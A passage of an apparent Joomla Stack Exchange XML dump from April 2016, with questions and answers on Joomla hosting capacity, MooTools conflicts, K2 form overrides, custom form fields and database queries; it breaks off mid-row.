  <row Id="16376" PostTypeId="2" ParentId="16375" CreationDate="2016-04-28T15:03:15.850" Score="0" Body="&lt;p&gt;JFolder is used to get the contents of a directory within Joomla, presuming that is what you are trying to do with that line of code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Methods here: &lt;a href=&quot;https://docs.joomla.org/API17:JFolder&quot; rel=&quot;nofollow&quot;&gt;https://docs.joomla.org/API17:JFolder&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1622" LastActivityDate="2016-04-28T15:03:15.850" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16377" PostTypeId="1" CreationDate="2016-04-28T15:27:41.380" Score="3" ViewCount="639" Body="&lt;p&gt;I am developing a mobile which will be managed by Joomla as a backend. I am expecting about 500,000 monthly return users by 6 months after launch.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I want to know if Joomla on a shared hosting can handle 500,000 users and over 2 millions user files..&#xA;The user files are created by them and can be accessed by any of the users.. averagely a user can query about 10 files a day from the database...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you&lt;/p&gt;&#xA;" OwnerUserId="7083" LastActivityDate="2017-08-19T04:21:19.933" Title="Can Joomla with MySql manage 500,000 users and records" Tags="|joomla-3.x|joomla-api|" AnswerCount="4" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16378" PostTypeId="2" ParentId="16377" CreationDate="2016-04-28T15:36:29.837" Score="5" Body="&lt;p&gt;On shared hosting? Joomla will be able to handle the amount of users, however I don't know a single hosting provider that will allow this amount of server requests on their shared hosting package.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've seen a lot of people say &quot;&lt;strong&gt;&lt;em&gt;I expect X amount of users after X amount of time&lt;/em&gt;&lt;/strong&gt;&quot;, but rather than taking wild guesses, only perform actions when required.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I would recommend you start off with a shared hosting package (my personal choice would be &lt;a href=&quot;http://siteground.com/&quot;&gt;Siteground&lt;/a&gt;), take daily readings of your server requests and see how close to the 24h limit it gets. When it starts getting fairly close to the daily limit, upgrade to a bigger shared hosting package, or Cloud hosting, or dedicated server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Disclaimer:&lt;/strong&gt; &lt;em&gt;I am &lt;strong&gt;not&lt;/strong&gt; affiliated with Siteground in any way.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2016-04-28T15:36:29.837" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16379" PostTypeId="2" ParentId="16364" CreationDate="2016-04-28T15:57:59.183" Score="1" Body="&lt;p&gt;First of all, i recommend reading this two posts:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://joomla.stackexchange.com/questions/223/whats-the-correct-way-for-exception-handling?rq=1&quot;&gt;Whats the correct way for exception handling?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://martinfowler.com/articles/replaceThrowWithNotification.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://martinfowler.com/articles/replaceThrowWithNotification.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically, it might be so that in your case it is not wise to use exceptions at all. It depends on the answer to the question if this behavior is expected (not an exception) or not (then it is an exception).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you think you need to use exceptions after reading the linked pages, the next question is where the benefit is in using more specific (custom) exceptions? The rule of thumb is to use built-in exceptions whenever possible. Maybe throw in some context and i can elaborate more.&lt;/p&gt;&#xA;" OwnerUserId="8318" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.780" LastActivityDate="2016-04-29T08:17:37.043" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16380" PostTypeId="2" ParentId="466" CreationDate="2016-04-28T16:59:14.377" Score="3" Body="&lt;p&gt;In the module manager under the &lt;code&gt;Advanced&lt;/code&gt; tab change the &lt;code&gt;Module Style&lt;/code&gt; to html5, or xhtml.&lt;/p&gt;&#xA;" OwnerUserId="466" LastActivityDate="2016-04-28T16:59:14.377" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16381" PostTypeId="1" CreationDate="2016-04-28T18:01:54.383" Score="1" ViewCount="185" Body="&lt;p&gt;I am using MB2 Portfolio with the built in slider to display some projects. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is that every other image in the sliders collapse. Inspecting them with FireBug shows that every other div is set to a negative position by a javascript.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;margin: -227px 0px 0px; overflow: hidden;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Disabling the Mootools Core JS in the header will allow the sliders to function properly, but that breaks my responsive menu.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example Links:&#xA;&lt;a href=&quot;http://grapeinc.com/portfolio-test/sales-galleries&quot; rel=&quot;nofollow&quot;&gt;http://grapeinc.com/portfolio-test/sales-galleries&lt;/a&gt;&#xA;The sliders on this page collapse on every other image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://grapeinc.com/deleteme.html&quot; rel=&quot;nofollow&quot;&gt;http://grapeinc.com/deleteme.html&lt;/a&gt;&#xA;MB2 Portfolio with sliders working on this page, but the responsive menu (upper left) is malfunctioning. The Mootools Core JS has been commented out in the header.&lt;/p&gt;&#xA;" OwnerUserId="8326" LastActivityDate="2016-04-28T18:40:37.613" Title="How do I resolve the conflict between MB2 Portfolio component slider and /media/system/js/mootools-core.js?" Tags="|joomla-3.3.x|extensions|javascript|mootools|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16382" PostTypeId="2" ParentId="16381" CreationDate="2016-04-28T18:40:37.613" Score="1" Body="&lt;p&gt;People have used the following plug-in to resolve MooTools/JQuery conflicts -&#xA;&lt;a href=&quot;http://extensions.joomla.org/extension/jquery-easy&quot; rel=&quot;nofollow&quot;&gt;http://extensions.joomla.org/extension/jquery-easy&lt;/a&gt; - this may provide a quick, temporary fix.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since it is bad practise to have both these libraries on one site, I would recommend that even if this works you still look into replacing the MooTools extension.  Two such libraries is unnecessary bulky code-wise, they cause conflicts like this, plus Joomla now is focussed on JQuery, and MooTools is deprecated, so may be removed at some point in the future.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any extension using MooTools on a Joomla 3 site's front-end is a warning sign that it needs updating.  If it is a third party extension, I'd check for new versions. If none are available, it is either badly coded or no longer supported.&lt;/p&gt;&#xA;" OwnerUserId="1622" LastActivityDate="2016-04-28T18:40:37.613" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16383" PostTypeId="1" CreationDate="2016-04-29T12:00:34.827" Score="0" ViewCount="198" Body="&lt;p&gt;I am creating a custom form field inside a module that generates groups of fields according to total number of records in a database table.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Inside the groups of fields there are text fields but also want to display a file selector dropdown field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am questioning if it is possible to display joomlas filelist field by calling it from inside my custom field model php file. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So ideally inside my php I could call like:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;echo createFilelistField(options)&lt;/code&gt; and in the module form it will display the fileslist dropdown.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think I can use JHTMLselect and pass the array of files using JFile (or no?) but becasue this already exist as code in the joomla filelist field, it would be nice to know if there is a quick way to directly call it from php.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone knows a solution, so to maximize what is avaliable in joomla?&lt;/p&gt;&#xA;" OwnerUserId="3654" LastActivityDate="2017-05-26T00:43:38.793" Title="Displaying a filelist field from php" Tags="|module|joomla-api|form-fields-types|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16384" PostTypeId="1" AcceptedAnswerId="16385" CreationDate="2016-04-29T12:56:42.577" Score="2" ViewCount="539" Body="&lt;p&gt;I have overwritten K2 Frontend item submit&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I made a copy of &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;components/com_k2/templates/default/itemform.php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;templates/YOUR TEMPLATE/html/com_k2/SUBTEMPLATE NAME/itemform.php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Based on the instructions here &lt;a href=&quot;https://stackoverflow.com/questions/8623310/joomla-k2-frontend-page-modification&quot;&gt;https://stackoverflow.com/questions/8623310/joomla-k2-frontend-page-modification&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but now, i need to override the category list displayed on this item form.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;                            &amp;lt;tr&amp;gt;&#xA;                                &amp;lt;td class=&quot;adminK2LeftCol&quot;&amp;gt;&#xA;                                    &amp;lt;label&amp;gt;&amp;lt;?php echo JText::_('K2_CATEGORY'); ?&amp;gt;&amp;lt;/label&amp;gt;&#xA;                                &amp;lt;/td&amp;gt;&#xA;                                &amp;lt;td class=&quot;adminK2RightCol&quot;&amp;gt;&#xA;                                    &amp;lt;?php echo $this-&amp;gt;lists['categories']; ?&amp;gt;&#xA;                                &amp;lt;/td&amp;gt;&#xA;                            &amp;lt;/tr&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The itemmenu is configured to allow users to create itens only in few categories. The form don't permit in the others. But i wish that the category list display only allowed categories instead of all categories of the site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The html result is that, the unauthorized categorys have a &lt;code&gt;disabled=&quot;disabled&quot;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;                                &amp;lt;td class=&quot;adminK2LeftCol&quot;&amp;gt;&#xA;                                    &amp;lt;label&amp;gt;Categoria&amp;lt;/label&amp;gt;&#xA;                                &amp;lt;/td&amp;gt;&#xA;                                &amp;lt;td class=&quot;adminK2RightCol&quot;&amp;gt;&#xA;                                    &amp;lt;select id=&quot;catid&quot; name=&quot;catid&quot;&amp;gt;&#xA;&amp;lt;option value=&quot;0&quot;&amp;gt;- Selecionar categoria -&amp;lt;/option&amp;gt;&#xA;&amp;lt;option style=&quot;color: rgb(128, 128, 128);&quot; value=&quot;1&quot; disabled=&quot;disabled&quot;&amp;gt;Notícias&amp;lt;/option&amp;gt;&#xA;&amp;lt;option style=&quot;color: rgb(128, 128, 128);&quot; value=&quot;2&quot; disabled=&quot;disabled&quot;&amp;gt;- - - Estado&amp;lt;/option&amp;gt;&#xA;&amp;lt;option style=&quot;color: rgb(128, 128, 128);&quot; value=&quot;3&quot; disabled=&quot;disabled&quot;&amp;gt;- - - Política&amp;lt;/option&amp;gt;&#xA;&amp;lt;option style=&quot;color: rgb(128, 128, 128);&quot; value=&quot;4&quot; disabled=&quot;disabled&quot;&amp;gt;- - - Esporte&amp;lt;/option&amp;gt;&#xA;&amp;lt;option style=&quot;color: rgb(128, 128, 128);&quot; value=&quot;27&quot; disabled=&quot;disabled&quot;&amp;gt;- - - Policia&amp;lt;/option&amp;gt;&#xA;&amp;lt;option style=&quot;color: rgb(128, 128, 128);&quot; value=&quot;28&quot; disabled=&quot;disabled&quot;&amp;gt;- - - Municípios&amp;lt;/option&amp;gt;&#xA;&amp;lt;option style=&quot;color: rgb(128, 128, 128);&quot; value=&quot;29&quot; disabled=&quot;disabled&quot;&amp;gt;- - - Cultura&amp;lt;/option&amp;gt;&#xA;&amp;lt;option style=&quot;color: rgb(128, 128, 128);&quot; value=&quot;41&quot; disabled=&quot;disabled&quot;&amp;gt;- - - Nacional&amp;lt;/option&amp;gt;&#xA;&amp;lt;option style=&quot;color: rgb(128, 128, 128);&quot; value=&quot;5&quot; disabled=&quot;disabled&quot;&amp;gt;Colunas&amp;lt;/option&amp;gt;&#xA;&amp;lt;option style=&quot;color: rgb(128, 128, 128);&quot; value=&quot;6&quot; disabled=&quot;disabled&quot;&amp;gt;- - - Trocando em miúdos&amp;lt;/option&amp;gt;&#xA;&amp;lt;option style=&quot;color: rgb(128, 128, 128);&quot; value=&quot;15&quot; disabled=&quot;disabled&quot;&amp;gt;- - - Espaço da Cidadania&amp;lt;/option&amp;gt;&#xA;&amp;lt;option style=&quot;color: rgb(128, 128, 128);&quot; value=&quot;37&quot; disabled=&quot;disabled&quot;&amp;gt;- - - Karine Rosa&amp;lt;/option&amp;gt;&#xA;&amp;lt;option style=&quot;color: rgb(128, 128, 128);&quot; value=&quot;7&quot; disabled=&quot;disabled&quot;&amp;gt;- - - Colunistas&amp;lt;/option&amp;gt;&#xA;&amp;lt;option style=&quot;color: rgb(128, 128, 128);&quot; value=&quot;8&quot; disabled=&quot;disabled&quot;&amp;gt;- - - - - Planeta vivo&amp;lt;/option&amp;gt;&#xA;&amp;lt;option style=&quot;color: rgb(128, 128, 128);&quot; value=&quot;13&quot; disabled=&quot;disabled&quot;&amp;gt;- - - - - Economia&amp;lt;/option&amp;gt;&#xA;&amp;lt;option style=&quot;color: rgb(128, 128, 128);&quot; value=&quot;14&quot; disabled=&quot;disabled&quot;&amp;gt;- - - - - Gastronomia&amp;lt;/option&amp;gt;&#xA;&amp;lt;option style=&quot;color: rgb(128, 128, 128);&quot; value=&quot;17&quot; disabled=&quot;disabled&quot;&amp;gt;- - - - - Atualize&amp;lt;/option&amp;gt;&#xA;&amp;lt;option style=&quot;color: rgb(128, 128, 128);&quot; value=&quot;18&quot; disabled=&quot;disabled&quot;&amp;gt;- - - - - Cultura Dinâmica&amp;lt;/option&amp;gt;&#xA;&amp;lt;option style=&quot;color: rgb(128, 128, 128);&quot; value=&quot;19&quot; disabled=&quot;disabled&quot;&amp;gt;- - - - - Espaço Acadêmico&amp;lt;/option&amp;gt;&#xA;&amp;lt;option style=&quot;color: rgb(128, 128, 128);&quot; value=&quot;22&quot; disabled=&quot;disabled&quot;&amp;gt;- - - - - Nosso direito&amp;lt;/option&amp;gt;&#xA;&amp;lt;option style=&quot;color: rgb(128, 128, 128);&quot; value=&quot;23&quot; disabled=&quot;disabled&quot;&amp;gt;- - - - - Quebra galho&amp;lt;/option&amp;gt;&#xA;&amp;lt;option style=&quot;color: rgb(128, 128, 128);&quot; value=&quot;24&quot; disabled=&quot;disabled&quot;&amp;gt;- - - - - Tecnologia&amp;lt;/option&amp;gt;&#xA;&amp;lt;option style=&quot;color: rgb(128, 128, 128);&quot; value=&quot;25&quot; disabled=&quot;disabled&quot;&amp;gt;- - - - - Moda [**Categoria não publicada**]&amp;lt;/option&amp;gt;&#xA;&amp;lt;option value=&quot;10&quot; selected=&quot;selected&quot;&amp;gt;Classificados&amp;lt;/option&amp;gt;&#xA;&amp;lt;option value=&quot;30&quot;&amp;gt;- - - Imóveis&amp;lt;/option&amp;gt;&#xA;&amp;lt;option value=&quot;11&quot;&amp;gt;- - - - - Venda&amp;lt;/option&amp;gt;&#xA;&amp;lt;option value=&quot;12&quot;&amp;gt;- - - - - Compra&amp;lt;/option&amp;gt;&#xA;&amp;lt;option value=&quot;31&quot;&amp;gt;- - - Automóveis&amp;lt;/option&amp;gt;&#xA;&amp;lt;option value=&quot;32&quot;&amp;gt;- - - - - Compra&amp;lt;/option&amp;gt;&#xA;&amp;lt;option value=&quot;33&quot;&amp;gt;- - - - - Venda&amp;lt;/option&amp;gt;&#xA;&amp;lt;option style=&quot;color: rgb(128, 128, 128);&quot; value=&quot;16&quot; disabled=&quot;disabled&quot;&amp;gt;Jurídica&amp;lt;/option&amp;gt;&#xA;&amp;lt;option style=&quot;color: rgb(128, 128, 128);&quot; value=&quot;26&quot; disabled=&quot;disabled&quot;&amp;gt;Atividade parlamentar&amp;lt;/option&amp;gt;&#xA;&amp;lt;option style=&quot;color: rgb(128, 128, 128);&quot; value=&quot;42&quot; disabled=&quot;disabled&quot;&amp;gt;- - - noticias parlamentares&amp;lt;/option&amp;gt;&#xA;&amp;lt;option style=&quot;color: rgb(128, 128, 128);&quot; value=&quot;20&quot; disabled=&quot;disabled&quot;&amp;gt;Informativo&amp;lt;/option&amp;gt;&#xA;&amp;lt;option style=&quot;color: rgb(128, 128, 128);&quot; value=&quot;21&quot; disabled=&quot;disabled&quot;&amp;gt;- - - Colunas&amp;lt;/option&amp;gt;&#xA;&amp;lt;option style=&quot;color: rgb(128, 128, 128);&quot; value=&quot;36&quot; disabled=&quot;disabled&quot;&amp;gt;- - - Sobre a Gazeta&amp;lt;/option&amp;gt;&#xA;&amp;lt;option style=&quot;color: rgb(128, 128, 128);&quot; value=&quot;34&quot; disabled=&quot;disabled&quot;&amp;gt;Minuto a minuto&amp;lt;/option&amp;gt;&#xA;&amp;lt;option style=&quot;color: rgb(128, 128, 128);&quot; value=&quot;38&quot; disabled=&quot;disabled&quot;&amp;gt;- - - ACOMPANHE A COBERTURA DO IMPEACHMENT&amp;lt;/option&amp;gt;&#xA;&amp;lt;option style=&quot;color: rgb(128, 128, 128);&quot; value=&quot;39&quot; disabled=&quot;disabled&quot;&amp;gt;ESPECIAL&amp;lt;/option&amp;gt;&#xA;&amp;lt;option style=&quot;color: rgb(128, 128, 128);&quot; value=&quot;40&quot; disabled=&quot;disabled&quot;&amp;gt;- - - ACOMPANHE A COBERTURA DO IMPEACHMENT&amp;lt;/option&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&#xA;                                    &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i try to hide these categories with CSS&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.adminK2RightCol &amp;gt; select option:disabled {&#xA;    visibility: hidden;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This hide the name of category in the dropdown list, but keeps a blank option line&lt;/p&gt;&#xA;" OwnerUserId="5681" LastEditorUserId="-1" LastEditDate="2017-05-23T12:38:51.907" LastActivityDate="2018-11-28T04:58:56.687" Title="Override category list of K2 frontend item form" Tags="|k2|overrides|front-end|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="16385" PostTypeId="2" ParentId="16384" CreationDate="2016-04-29T14:26:25.373" Score="3" Body="&lt;p&gt;There may be a correct way deeper in the depths of K2 to not have the disabled categories in the list in the first pace, however, the quickest solution is to use regex to remove them.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $catinput = $this-&amp;gt;lists['categories']; &#xA;echo preg_replace('#&amp;lt;option[^&amp;gt;]*\sdisabled\=[^&amp;gt;]*&amp;gt;.*?&amp;lt;/option&amp;gt;#','',$catinput); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7896" LastActivityDate="2016-04-29T14:26:25.373" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="16386" PostTypeId="1" AcceptedAnswerId="16391" CreationDate="2016-04-29T15:08:00.217" Score="0" ViewCount="229" Body="&lt;p&gt;I'm trying to display a time stamp of when a module is published. I can display the current time stamp with PHP without problem, but that's not what I want to do.  I'm sure this is simple to do I just can't figure it out.&lt;/p&gt;&#xA;" OwnerUserId="8333" LastEditorUserId="1629" LastEditDate="2016-04-29T21:11:56.360" LastActivityDate="2016-04-29T22:10:24.063" Title="How to create time stamp when module is published?" Tags="|php|joomla-3.4|module|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16388" PostTypeId="1" AcceptedAnswerId="16389" CreationDate="2016-04-29T16:21:01.523" Score="1" ViewCount="220" Body="&lt;p&gt;I'm facing a strange problem. I'm trying to define a custom field for the &lt;strong&gt;frontend&lt;/strong&gt;-view of my component like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;defined('JPATH_BASE') or die;&#xA;&#xA;jimport('joomla.form.formfield');&#xA;jimport('joomla.form.helper');&#xA;JFormHelper::loadFieldClass('list');&#xA;&#xA;class JFormFieldAssignToUser extends JFormFieldList&#xA;{&#xA;    protected $type = 'assigntouser';&#xA;&#xA;    protected function getInput() &#xA;    {&#xA;        $html   = array();&#xA;        $user   = JFactory::getUser();           &#xA;        $html[] = JHtml::_('select.option', &quot;Test&quot;, &quot;Test&quot;);                            &#xA;        $html   = array_merge(parent::getOptions(), $html);&#xA;        return $html;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;now I'm adding this to my xml:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field name        = &quot;assigntouser&quot; &#xA;       type        = &quot;assigntouser&quot;    &#xA;       label       = &quot;TEST&quot;                &#xA;       description = &quot;TEST&quot;&#xA;       filter      = &quot;safehtml&quot;&#xA;       default     = &quot;&quot;&amp;gt;&#xA;    &amp;lt;option value = &quot;&quot;&amp;gt;TEST&amp;lt;/option&amp;gt;&#xA;&amp;lt;/field&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and include it to my layout like that:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php echo $this-&amp;gt;form-&amp;gt;renderFieldset(&quot;testfieldset&quot;); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But it only shows this error:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Notice: Array to string conversion in /var/www/web1/htdocs/layouts/joomla/form/renderfield.php on line 35&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;A field, which is designed in the same way, that is added to the &lt;strong&gt;backend&lt;/strong&gt; of Joomla, works without problems...&lt;/p&gt;&#xA;" OwnerUserId="4028" LastEditorUserId="12352" LastEditDate="2019-02-02T12:05:56.703" LastActivityDate="2019-02-02T12:05:56.703" Title="JFormFieldList in Frontend -&gt; Notice: Array to string conversion" Tags="|jform|form|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="16389" PostTypeId="2" ParentId="16388" CreationDate="2016-04-29T17:01:36.610" Score="4" Body="&lt;p&gt;I think you want to use use &lt;code&gt;getOptions(..)&lt;/code&gt; not &lt;code&gt;getInput(...)&lt;/code&gt; with a &lt;code&gt;JFormFieldList&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;getInput&lt;/code&gt; returns the full &lt;code&gt;&amp;lt;select /&amp;gt;&lt;/code&gt; input as a string. &lt;code&gt;getOptions&lt;/code&gt; populates the select options with an array of &lt;code&gt;&amp;lt;option /&amp;gt;&lt;/code&gt; strings.&lt;/p&gt;&#xA;" OwnerUserId="7896" LastActivityDate="2016-04-29T17:01:36.610" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16390" PostTypeId="1" AcceptedAnswerId="16396" CreationDate="2016-04-29T18:03:09.760" Score="1" ViewCount="3081" Body="&lt;p&gt;I'm trying to figure out what I've got going on here thats not working - I'm using RsTicketsPro and I'm trying to pull a specific value from their custom fields section in the database. I reached out to their support and this is what they recommended:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$db = JFactory::getDBO();&#xA;$db-&amp;gt;setQuery(&quot;SELECT `value` FROM #__rsticketspro_custom_fields_values WHERE `ticket_id`='&quot;.$item-&amp;gt;id.&quot;' AND `custom_field_id`=7&quot;);&#xA;echo $db-&amp;gt;loadResult();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Ok so I adjusted their code to pop this into place in a table to display this specific value:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;td align=&quot;center&quot; class=&quot;rst_cell_assigned center&quot;&amp;gt;&#xA;&amp;lt;?php&#xA;$db = JFactory::getDBO();&#xA;$db-&amp;gt;setQuery(&quot;SELECT 'value' FROM #__rsticketspro_custom_fields_values WHERE 'ticket_id'='&quot;.$item-&amp;gt;id.&quot;' AND 'custom_field_id'=4&quot;);&#xA;echo $db-&amp;gt;loadResult();&#xA;?&amp;gt;&#xA;&amp;lt;/td&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I updated the custom field id value to match with the corresponding field I want to pull from my database, but when I view it on the front end, it just displays blank - no error message or anything.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anybody spot anything I'm doing wrong?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT: CURRENT CODE IM WORKING WITH&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$db = JFactory::getDbo();&#xA;$query = $db-&amp;gt;getQuery(true);&#xA;$query-&amp;gt;select(`value`);&#xA;$query-&amp;gt;from($db-&amp;gt;quoteName('#__rsticketspro_custom_fields_values'));&#xA;$query-&amp;gt;where($db-&amp;gt;quoteName(`ticket_id`).&quot; = &quot;.$db-&amp;gt;quote('&quot;.$item-&amp;gt;id.&quot;' AND `custom_field_id`=4&quot;));&#xA;$db-&amp;gt;setQuery($query);&#xA;$result = $db-&amp;gt;loadResult();&#xA;echo $query;&#xA;echo $db-&amp;gt;getErrorMsg();&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;note&lt;/strong&gt; so this one now does not even load the page any longer, haha. #fail&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/edCaH.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/edCaH.png&quot; alt=&quot;Table being used&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="8335" LastEditorUserId="8335" LastEditDate="2016-04-29T23:17:38.420" LastActivityDate="2019-03-06T09:24:52.423" Title="Display a Value from a Specific DB Field" Tags="|php|mysql|" AnswerCount="4" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="16391" PostTypeId="2" ParentId="16386" CreationDate="2016-04-29T18:13:18.630" Score="0" Body="&lt;p&gt;Modules, unlike articles, do not have a creation time saved in their database table.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can see their table structure here: &lt;a href=&quot;https://docs.joomla.org/Tables/modules&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Tables/modules&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I believe that to achieve what you want would require a bespoke plug-in that saves this additional data. From &lt;a href=&quot;https://joomla.stackexchange.com/questions/14404/is-there-any-equivalent-event-to-oncontentaftersave-for-modules/14405&quot;&gt;this question&lt;/a&gt;, it appears that the hook for saving modules is onExtensionAfterSave, though the documentation for onExtension events is abysmal.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;edit: If you are talking about a bespoke module, rather than core or third party ones, you could possibly use the calendar field type with the default set to NOW and disabled set to true &lt;a href=&quot;https://docs.joomla.org/Calendar_form_field_type&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Calendar_form_field_type&lt;/a&gt; - this would give a creation date, if that is enough.&lt;/p&gt;&#xA;" OwnerUserId="1622" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.780" LastActivityDate="2016-04-29T22:10:24.063" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16392" PostTypeId="1" CreationDate="2016-04-29T20:33:10.740" Score="2" ViewCount="453" Body="&lt;p&gt;Depending on the article the name/content will be different, I have tried to add custom tags:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;meta name=&quot;citation_title&quot; content=&quot;The testis isoform of the phosphorylase kinase catalytic subunit (PhK-T)&quot;&amp;gt;&#xA;&amp;lt;meta name=&quot;citation_author&quot; content=&quot;Liu, Li&quot; &amp;gt;&#xA;&amp;lt;meta name=&quot;citation_author&quot; content=&quot;Rannels, Sht.&quot; &amp;gt;&#xA;&amp;lt;meta name=&quot;citation_author&quot; content=&quot;Falconieri, Mary&quot; &amp;gt;&#xA;&amp;lt;meta name=&quot;citation_author&quot; content=&quot;Phillips, Karen S.&quot;&amp;gt;&#xA;&amp;lt;meta name=&quot;citation_author&quot; content=&quot;Wolpert, Ellen B.&quot;&amp;gt;&#xA;&amp;lt;meta name=&quot;citation_author&quot; content=&quot;Weaver, Timothy E.&quot;&amp;gt;&#xA;&amp;lt;meta name=&quot;citation_publication_date&quot; content=&quot;1996/05/17&quot;&amp;gt;&#xA;&amp;lt;meta name=&quot;citation_journal_title&quot; content=&quot;Journal of Biological Chemistry&quot;&amp;gt;&#xA;&amp;lt;meta name=&quot;citation_volume&quot; content=&quot;271&quot;&amp;gt;&#xA;&amp;lt;meta name=&quot;citation_issue&quot; content=&quot;20&quot;&amp;gt;&#xA;&amp;lt;meta name=&quot;citation_firstpage&quot; content=&quot;11761&quot;&amp;gt;&#xA;&amp;lt;meta name=&quot;citation_lastpage&quot; content=&quot;11766&quot;&amp;gt;&#xA;&amp;lt;meta name=&quot;citation_pdf_url&quot; 